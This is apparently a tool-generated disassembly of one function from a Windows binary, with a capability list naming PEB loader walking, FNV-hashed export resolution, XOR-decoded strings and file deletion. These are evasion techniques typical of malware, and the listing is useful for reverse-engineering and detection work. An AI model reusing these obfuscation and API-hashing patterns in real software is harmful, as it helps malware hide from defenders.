Function at 0x140051ee0
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Delete file
Encode data using xor
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x4e0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
mov rax, qword [0x1400f20c0]
xor rax, rsp
mov qword [rsp + 0x490], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x140], xmm0
mov qword [rsp + 0x150], rax
xor edx, edx
mov cl, 0x30
call fcn.140043520
movzx r14d, al
movzx ebx, al
mov edx, 1
mov cl, 0x35
call fcn.140043520
movzx r11d, al
mov edx, 2
mov cl, reloc.WS2_32.dll_gethostname
call fcn.140043520
movzx r10d, al
mov edx, 3
mov cl, 0x33
call fcn.140043520
movzx r9d, al
mov edx, 4
mov cl, gethostname
call fcn.140043520
movzx r8d, al
mov edx, 5
mov cl, reloc.WLDAP32.dll_Ordinal_50
call fcn.140043520
xor ecx, ecx
xor bl, 0xd4
mov byte [rsp + 0x70], bl
xor r11b, 0x68
mov byte [rsp + 0x71], r11b
xor r10b, 0xfc
mov byte [rsp + 0x72], r10b
xor r9b, 0x90
mov byte [rsp + 0x73], r9b
xor r8b, 0x24
mov byte [rsp + 0x74], r8b
xor al, 0xb8
mov byte [rsp + 0x75], al
mov byte [rsp + 0x76], cl
movups xmmword [rsp + 0xe0], xmm0
xor ebx, ebx
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], rbx
lea rax, [rsp + 0x70]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], cl
jne 0x140051ff5
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
call fcn.14004e550
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x140]
lea rcx, [0x140110730]
call fcn.140069000
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x380]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov cl, 0x43
call fcn.140043520
movzx r15d, al
mov byte [rsp + 0x38], al
mov byte [rsp + 0x40], al
mov edx, 1
mov cl, 0x3a
call fcn.140043520
movzx r12d, al
mov byte [rsp + 0x39], al
mov byte [rsp + 0x41], al
mov edx, 2
mov cl, 0x5c
call fcn.140043520
movzx r13d, al
mov byte [rsp + 0x3a], al
mov byte [rsp + 0x42], al
mov edx, 3
mov cl, 0x57
call fcn.140043520
mov byte [rsp + 0x37], al
mov byte [rsp + 0x43], al
mov edx, 4
mov cl, 0x69
call fcn.140043520
mov byte [rsp + 0x30], al
mov byte [rsp + 0x44], al
mov edx, 5
mov cl, WSAGetLastError
call fcn.140043520
mov byte [rsp + 0x31], al
mov byte [rsp + 0x45], al
mov edx, 6
mov cl, 0x64
call fcn.140043520
mov byte [rsp + 0x32], al
mov byte [rsp + 0x46], al
mov edx, 7
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140043520
mov byte [rsp + 0x33], al
mov byte [rsp + 0x47], al
mov edx, 8
mov cl, 0x77
call fcn.140043520
mov byte [rsp + 0x34], al
mov byte [rsp + 0x48], al
mov edx, 9
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140043520
mov byte [rsp + 0x35], al
mov byte [rsp + 0x49], al
mov edx, 0xa
mov cl, 0x5c
call fcn.140043520
mov byte [rsp + 0x36], al
mov byte [rsp + 0x4a], al
mov edx, ntohl
mov cl, 0x64
call fcn.140043520
mov byte [rsp + 0xb8], al
mov byte [rsp + 0x4b], al
mov edx, ntohl
mov cl, WSAStartup
call fcn.140043520
mov byte [rsp + 0xb9], al
mov byte [rsp + 0x4c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x69
call fcn.140043520
mov byte [rsp + 0xba], al
mov byte [rsp + 0x4d], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, 0x76
call fcn.140043520
mov byte [rsp + 0xbb], al
mov byte [rsp + 0x4e], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, 0x65
call fcn.140043520
mov byte [rsp + 0xbc], al
mov byte [rsp + 0x4f], al
mov edx, reloc.WS2_32.dll_recv
mov cl, WSAStartup
call fcn.140043520
mov byte [rsp + 0xbd], al
mov byte [rsp + 0x50], al
mov edx, reloc.WS2_32.dll_recvfrom
mov cl, reloc.WLDAP32.dll_Ordinal_46
call fcn.140043520
mov byte [rsp + 0xbe], al
mov byte [rsp + 0x51], al
mov edx, reloc.WS2_32.dll_select
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140043520
mov byte [rsp + 0xbf], al
mov byte [rsp + 0x52], al
mov edx, reloc.WS2_32.dll_send
mov cl, 0x79
call fcn.140043520
mov byte [rsp + 0xc0], al
mov byte [rsp + 0x53], al
mov edx, reloc.WS2_32.dll_sendto
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140043520
mov byte [rsp + 0xc1], al
mov byte [rsp + 0x54], al
xor eax, eax
mov byte [rsp + 0x55], al
mov r8d, ebx
movdqa xmm6, xmmword [0x1400dfa10]
movdqa xmm8, xmmword [0x1400dfe10]
movdqa xmm9, xmmword [0x1400dfe50]
movdqa xmm7, xmmword [0x1400dfa70]
cmp dword [reloc.WS2_32.dll_accept], 6
jl 0x1400523b0
movdqa xmmword [rsp + 0x100], xmm9
movdqa xmmword [rsp + 0x70], xmm8
mov edx, dword [rsp + 0x70]
mov r9d, dword [rsp + 0x100]
movsxd rcx, r8d
movd xmm4, r9d
movd xmm1, r8d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x40]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x40], xmm4
movd xmm4, r9d
lea eax, [r8 + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x44]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x44], xmm4
movd xmm5, r9d
lea eax, [r8 + 8]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm5, xmm3
movd xmm0, dword [rsp + rcx + 0x48]
xorps xmm5, xmm0
movd dword [rsp + rcx + 0x48], xmm5
movd xmm4, r9d
lea eax, [r8 + 0xc]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x4c]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x4c], xmm4
add r8d, 0x10
cmp r8d, 0x10
jb 0x140052262
cmp r8d, 0x15
jae 0x1400523d4
nop word [rax + rax]
movsxd rax, r8d
lea rdx, [rsp + 0x40]
add rdx, rax
movsx eax, r8b
imul ecx, eax, 0x6c
mov eax, 0xffffffd4
sub al, cl
xor byte [rdx], al
inc r8d
cmp r8d, 0x15
jb 0x1400523b0
mov byte [rsp + 0x55], 0
mov r8d, Ordinal_35
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x380]
call fcn.140057930
nop
mov r8, qword [rsp + 0x148]
mov rdx, qword [rsp + 0x140]
sub r8, rdx
lea rcx, [rsp + 0x380]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x388]
call fcn.1400589e0
test rax, rax
jne 0x14005244a
mov rax, qword [rsp + 0x380]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x380]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], rax
xor edx, edx
mov cl, 0x36
call fcn.140043520
movzx ebx, al
mov edx, 1
mov cl, 0x33
call fcn.140043520
movzx r11d, al
mov edx, 2
mov cl, 0x36
call fcn.140043520
movzx r10d, al
mov edx, 3
mov cl, 0x30
call fcn.140043520
movzx r9d, al
mov edx, 4
mov cl, 0x34
call fcn.140043520
movzx r8d, al
mov edx, 5
mov cl, 0x30
call fcn.140043520
movzx esi, al
movzx ecx, al
xor eax, eax
xor bl, 0xd4
mov byte [rsp + 0x70], bl
xor r11b, 0x68
mov byte [rsp + 0x71], r11b
xor r10b, 0xfc
mov byte [rsp + 0x72], r10b
xor r9b, 0x90
mov byte [rsp + 0x73], r9b
xor r8b, 0x24
mov byte [rsp + 0x74], r8b
xor cl, 0xb8
mov byte [rsp + 0x75], cl
mov byte [rsp + 0x76], al
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rax
lea rax, [rsp + 0x70]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140052515
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xe0]
call fcn.14004e550
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x128]
lea rcx, [0x140110730]
call fcn.140069000
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x270]
call sub.VCRUNTIME140.dll_memset
mov byte [rsp + 0x90], r15b
mov byte [rsp + 0x91], r12b
mov byte [rsp + 0x92], r13b
movzx ebx, byte [rsp + 0x37]
mov byte [rsp + 0x93], bl
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x94], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x98], al
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x99], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0x9a], al
mov edx, ntohl
mov cl, 0x52
call fcn.140043520
mov byte [rsp + 0xc2], al
mov byte [rsp + 0x9b], al
mov edx, ntohl
mov cl, 0x54
call fcn.140043520
mov byte [rsp + 0xc3], al
mov byte [rsp + 0x9c], al
mov edx, reloc.WS2_32.dll_listen
mov cl, 0x43
call fcn.140043520
mov byte [rsp + 0xc4], al
mov byte [rsp + 0x9d], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140043520
mov byte [rsp + 0xc5], al
mov byte [rsp + 0x9e], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, WSAStartup
call fcn.140043520
mov byte [rsp + 0xc6], al
mov byte [rsp + 0x9f], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x65
call fcn.140043520
mov byte [rsp + 0xc7], al
mov byte [rsp + 0xa0], al
mov edx, reloc.WS2_32.dll_recvfrom
mov cl, 0x36
call fcn.140043520
mov byte [rsp + 0xc8], al
mov byte [rsp + 0xa1], al
mov edx, reloc.WS2_32.dll_select
mov cl, 0x34
call fcn.140043520
mov byte [rsp + 0xc9], al
mov byte [rsp + 0xa2], al
mov edx, reloc.WS2_32.dll_send
mov cl, 0x5f
call fcn.140043520
mov byte [rsp + 0xca], al
mov byte [rsp + 0xa3], al
mov edx, reloc.WS2_32.dll_sendto
mov cl, 0x56
call fcn.140043520
mov byte [rsp + 0xcb], al
mov byte [rsp + 0xa4], al
mov edx, reloc.WS2_32.dll_setsockopt
mov cl, 0x75
call fcn.140043520
mov byte [rsp + 0xcc], al
mov byte [rsp + 0xa5], al
mov edx, reloc.WLDAP32.dll_Ordinal_22
mov cl, 0x6c
call fcn.140043520
mov byte [rsp + 0xcd], al
mov byte [rsp + 0xa6], al
mov edx, reloc.WS2_32.dll_socket
mov cl, WSAGetLastError
call fcn.140043520
mov byte [rsp + 0xce], al
mov byte [rsp + 0xa7], al
mov edx, Ordinal_26
mov cl, 0x65
call fcn.140043520
mov byte [rsp + 0xcf], al
mov byte [rsp + 0xa8], al
mov edx, Ordinal_26
mov cl, WSAStartup
call fcn.140043520
mov byte [rsp + 0xd0], al
mov byte [rsp + 0xa9], al
mov edx, reloc.WLDAP32.dll_Ordinal_26
mov cl, 0x61
call fcn.140043520
mov byte [rsp + 0x60], al
mov byte [rsp + 0xaa], al
mov edx, reloc.WLDAP32.dll_Ordinal_27
mov cl, 0x62
call fcn.140043520
mov byte [rsp + 0xd1], al
mov byte [rsp + 0xab], al
mov edx, Ordinal_32
mov cl, 0x69
call fcn.140043520
mov byte [rsp + 0xd2], al
mov byte [rsp + 0xac], al
mov edx, Ordinal_32
mov cl, 0x6c
call fcn.140043520
mov byte [rsp + 0xd3], al
mov byte [rsp + 0xad], al
mov edx, reloc.WLDAP32.dll_Ordinal_30
mov cl, 0x69
call fcn.140043520
mov byte [rsp + 0xd4], al
mov byte [rsp + 0xae], al
mov edx, Ordinal_32
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140043520
mov byte [rsp + 0xd5], al
mov byte [rsp + 0xaf], al
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov cl, 0x79
call fcn.140043520
mov byte [rsp + 0xd6], al
mov byte [rsp + 0xb0], al
mov edx, reloc.WLDAP32.dll_Ordinal_33
mov cl, reloc.WLDAP32.dll_Ordinal_46
call fcn.140043520
mov byte [rsp + 0xd7], al
mov byte [rsp + 0xb1], al
mov edx, Ordinal_35
mov cl, 0x65
call fcn.140043520
mov byte [rsp + 0xd8], al
mov byte [rsp + 0xb2], al
mov edx, reloc.WLDAP32.dll_Ordinal_35
mov cl, 0x78
call fcn.140043520
mov byte [rsp + 0xd9], al
mov byte [rsp + 0xb3], al
mov edx, 0x24
mov cl, 0x65
call fcn.140043520
mov byte [rsp + 0xda], al
mov byte [rsp + 0xb4], al
xor eax, eax
mov byte [rsp + 0xb5], al
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 6
jl 0x140052a10
movdqa xmmword [rsp + 0x100], xmm9
movdqa xmmword [rsp + 0x70], xmm8
mov edx, dword [rsp + 0x70]
mov r9d, dword [rsp + 0x100]
movsxd rcx, r8d
movd xmm4, r9d
movd xmm1, r8d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x90]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x90], xmm4
movd xmm4, r9d
lea eax, [r8 + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x94]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x94], xmm4
movd xmm5, r9d
lea eax, [r8 + 8]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm5, xmm3
movd xmm0, dword [rsp + rcx + 0x98]
xorps xmm5, xmm0
movd dword [rsp + rcx + 0x98], xmm5
movd xmm4, r9d
lea eax, [r8 + 0xc]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0x9c]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0x9c], xmm4
add r8d, 0x10
cmp r8d, 0x20
jb 0x1400528b2
cmp r8d, 0x25
jae 0x140052a37
nop
movsxd rax, r8d
lea rdx, [rsp + 0x90]
add rdx, rax
movsx eax, r8b
imul ecx, eax, 0x6c
mov eax, 0xffffffd4
sub al, cl
xor byte [rdx], al
inc r8d
cmp r8d, 0x25
jb 0x140052a10
mov byte [rsp + 0xb5], 0
mov r8d, Ordinal_35
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x270]
call fcn.140057930
nop
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x128]
sub r8, rdx
lea rcx, [rsp + 0x270]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x278]
call fcn.1400589e0
test rax, rax
jne 0x140052ab3
mov rax, qword [rsp + 0x270]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x270]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x120], rax
mov edx, 1
mov cl, 0x30
call fcn.140043520
movzx r10d, al
mov edx, 2
mov cl, 0x34
call fcn.140043520
movzx r9d, al
mov edx, 3
call fcn.140043520
movzx r8d, al
mov edx, 4
mov cl, 0x35
call fcn.140043520
xor ecx, ecx
xor r14b, 0xd4
mov byte [rsp + 0x70], r14b
xor r10b, 0x68
mov byte [rsp + 0x71], r10b
xor r9b, 0xfc
mov byte [rsp + 0x72], r9b
xor r8b, 0x90
mov byte [rsp + 0x73], r8b
xor al, 0x24
mov byte [rsp + 0x74], al
xor sil, 0xb8
mov byte [rsp + 0x75], sil
mov byte [rsp + 0x76], cl
movups xmmword [rsp + 0x40], xmm0
xor r14d, r14d
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r14
lea rax, [rsp + 0x70]
inc rdi
cmp byte [rax + rdi], cl
jne 0x140052b52
mov r8, rdi
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.14004e550
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x110]
lea rcx, [0x140110730]
call fcn.140069000
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x160]
call sub.VCRUNTIME140.dll_memset
mov byte [rsp + 0xe0], r15b
mov byte [rsp + 0xe1], r12b
mov byte [rsp + 0xe2], r13b
mov byte [rsp + 0xe3], bl
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0xe4], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0xe5], al
movzx eax, byte [rsp + 0x32]
mov byte [rsp + 0xe6], al
movzx eax, byte [rsp + 0x33]
mov byte [rsp + 0xe7], al
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0xe8], al
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0xe9], al
movzx eax, byte [rsp + 0x36]
mov byte [rsp + 0xea], al
mov edx, ntohl
mov cl, 0x57
call fcn.140043520
mov byte [rsp + 0xdb], al
mov byte [rsp + 0xeb], al
mov edx, ntohl
mov cl, 0x69
call fcn.140043520
mov byte [rsp + 0xdc], al
mov byte [rsp + 0xec], al
mov edx, reloc.WS2_32.dll_listen
mov cl, WSAGetLastError
call fcn.140043520
mov byte [rsp + 0x80], al
mov byte [rsp + 0xed], al
mov edx, reloc.WS2_32.dll_ntohl
mov cl, 0x64
call fcn.140043520
mov byte [rsp + 0x81], al
mov byte [rsp + 0xee], al
mov edx, reloc.WS2_32.dll_ntohs
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.140043520
movzx r13d, al
mov byte [rsp + 0xef], al
mov edx, reloc.WS2_32.dll_recv
mov cl, 0x77
call fcn.140043520
mov byte [rsp + 0x82], al
mov byte [rsp + 0xf0], al
mov edx, reloc.WS2_32.dll_recvfrom
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140043520
mov byte [rsp + 0xdd], al
mov byte [rsp + 0xf1], al
mov edx, reloc.WS2_32.dll_select
mov cl, 0x55
call fcn.140043520
mov byte [rsp + 0x83], al
mov byte [rsp + 0xf2], al
mov edx, reloc.WS2_32.dll_send
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.140043520
mov byte [rsp + 0x84], al
mov byte [rsp + 0xf3], al
mov edx, reloc.WS2_32.dll_sendto
mov cl, 0x64
call fcn.140043520
mov byte [rsp + 0x85], al
mov byte [rsp + 0xf4], al
mov edx, reloc.WS2_32.dll_setsockopt
mov cl, 0x61
call fcn.140043520
mov byte [rsp + 0x86], al
mov byte [rsp + 0xf5], al
mov edx, reloc.WLDAP32.dll_Ordinal_22
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140043520
mov byte [rsp + 0x87], al
mov byte [rsp + 0xf6], al
mov edx, reloc.WS2_32.dll_socket
mov cl, 0x65
call fcn.140043520
mov byte [rsp + 0x88], al
mov byte [rsp + 0xf7], al
mov edx, Ordinal_26
mov cl, reloc.WLDAP32.dll_Ordinal_46
call fcn.140043520
mov byte [rsp + 0x89], al
mov byte [rsp + 0xf8], al
mov edx, Ordinal_26
mov cl, 0x62
call fcn.140043520
mov byte [rsp + 0x8a], al
mov byte [rsp + 0xf9], al
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0xfa], al
mov edx, reloc.WLDAP32.dll_Ordinal_27
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.140043520
mov byte [rsp + 0x8b], al
mov byte [rsp + 0xfb], al
xor eax, eax
mov byte [rsp + 0xfc], al
mov r8d, r14d
cmp dword [reloc.WS2_32.dll_accept], 6
jl 0x140052f50
movdqa xmmword [rsp + 0x100], xmm9
movdqa xmmword [rsp + 0x70], xmm8
mov edx, dword [rsp + 0x70]
mov r9d, dword [rsp + 0x100]
nop dword [rax]
movsxd rcx, r8d
movd xmm4, r9d
movd xmm1, r8d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0xe0]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0xe0], xmm4
movd xmm4, r9d
lea eax, [r8 + 4]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0xe4]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0xe4], xmm4
movd xmm5, r9d
lea eax, [r8 + 8]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm5, xmm3
movd xmm0, dword [rsp + rcx + 0xe8]
xorps xmm5, xmm0
movd dword [rsp + rcx + 0xe8], xmm5
movd xmm4, r9d
lea eax, [r8 + 0xc]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
pshufb xmm1, xmm6
movd xmm0, edx
vpmovzxbw ymm1, xmm1
vpmovzxbw ymm0, xmm0
vpmullw ymm1, ymm1, ymm0
vpmovzxwd zmm2, ymm1
vpmovdb xmm3, zmm2
psubb xmm4, xmm3
movd xmm0, dword [rsp + rcx + 0xec]
xorps xmm4, xmm0
movd dword [rsp + rcx + 0xec], xmm4
add r8d, 0x10
cmp r8d, 0x10
jb 0x140052df0
cmp r8d, 0x1c
jae 0x140052f77
nop dword [rax]
movsxd rax, r8d
lea rdx, [rsp + 0xe0]
add rdx, rax
movsx eax, r8b
imul ecx, eax, 0x6c
mov eax, 0xffffffd4
sub al, cl
xor byte [rdx], al
inc r8d
cmp r8d, 0x1c
jb 0x140052f50
mov byte [rsp + 0xfc], 0
mov r8d, Ordinal_35
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x160]
call fcn.140057930
nop
mov r8, qword [rsp + 0x118]
mov rdx, qword [rsp + 0x110]
sub r8, rdx
lea rcx, [rsp + 0x160]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x168]
call fcn.1400589e0
test rax, rax
jne 0x140052ff3
mov rax, qword [rsp + 0x160]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x160]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov r10, qword [0x140113780]
test r10, r10
jne 0x1400530b0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rcx + 0x10]
mov rdi, rsi
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140053097
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140053097
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x140053092
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140053070
cmp edx, 0x491e0a9c
je 0x1400541ea
test r8d, r8d
jne 0x140053050
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
jne 0x140053020
mov r10, r14
mov qword [0x140113780], r10
xor edx, edx
mov cl, 0x63
call fcn.140043520
movzx r14d, al
movzx r9d, al
mov edx, 1
mov cl, 0x6c
call fcn.140043520
movzx r15d, al
movzx r8d, al
mov edx, 2
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.140043520
movzx r12d, al
movzx ecx, al
xor eax, eax
xor r9b, 0xd4
mov byte [rsp + 0x70], r9b
xor r8b, 0x68
mov byte [rsp + 0x71], r8b
xor cl, 0xfc
mov byte [rsp + 0x72], cl
mov byte [rsp + 0x73], al
lea rcx, [rsp + 0x70]
call r10
mov r10, qword [0x140113780]
test r10, r10
jne 0x1400531d0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rsi, qword [rcx + 0x10]
mov rdi, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400531b7
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400531b7
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r11 + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
mov edx, 0x811c9dc5
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400531b2
nop dword [rax]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
test al, al
jne 0x140053190
cmp edx, 0x491e0a9c
je 0x140054207
test r8d, r8d
jne 0x140053170
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rsi
jne 0x140053140
xor r10d, r10d
mov qword [0x140113780], r10
movzx eax, byte [rsp + 0x38]
mov byte [rsp + 0x40], al
movzx eax, byte [rsp + 0x39]
mov byte [rsp + 0x41], al
movzx eax, byte [rsp + 0x3a]
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x37]
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x45], al
